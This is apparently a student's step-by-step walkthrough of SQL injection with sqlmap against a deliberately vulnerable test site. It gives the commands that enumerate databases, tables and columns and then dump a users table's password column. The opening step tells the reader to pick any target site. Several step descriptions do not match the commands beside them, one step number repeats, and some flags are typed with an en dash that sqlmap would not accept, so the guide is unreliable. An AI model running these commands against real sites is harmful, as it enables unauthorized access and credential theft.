Sheikh Muazzin Azeem

22-11087

Steps to conduct SQL injection.

1)Select a targeted website.

2)Check if the site is vulnerable by seeing GET request parameter (cat = 1) that can be modified by the user indicating that the site might be vulnerable

3) Using SQLMAP to test a website for SQL Injection vulnerability

4) List information about the existing databases using sqlmap.py http://vulnweb.com --crawl=2 –batch

5) Listing information about Tables present in a particular Database(can choose any 1 database) by using sqlmap.py http://testphp.vulnweb.com/listproducts.php?cat=1 –dbs command

6)we get the retrieved tables so we know the site is vulnerable.

7)listing information stored in the tables of a particular table by using sqlmap.py http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart –tables command

7)listing information stored in the columns of a particular table by using sqlmap.py http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart –columns command

8) no we will dump the data by using sqlmap.py http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C pass –dump command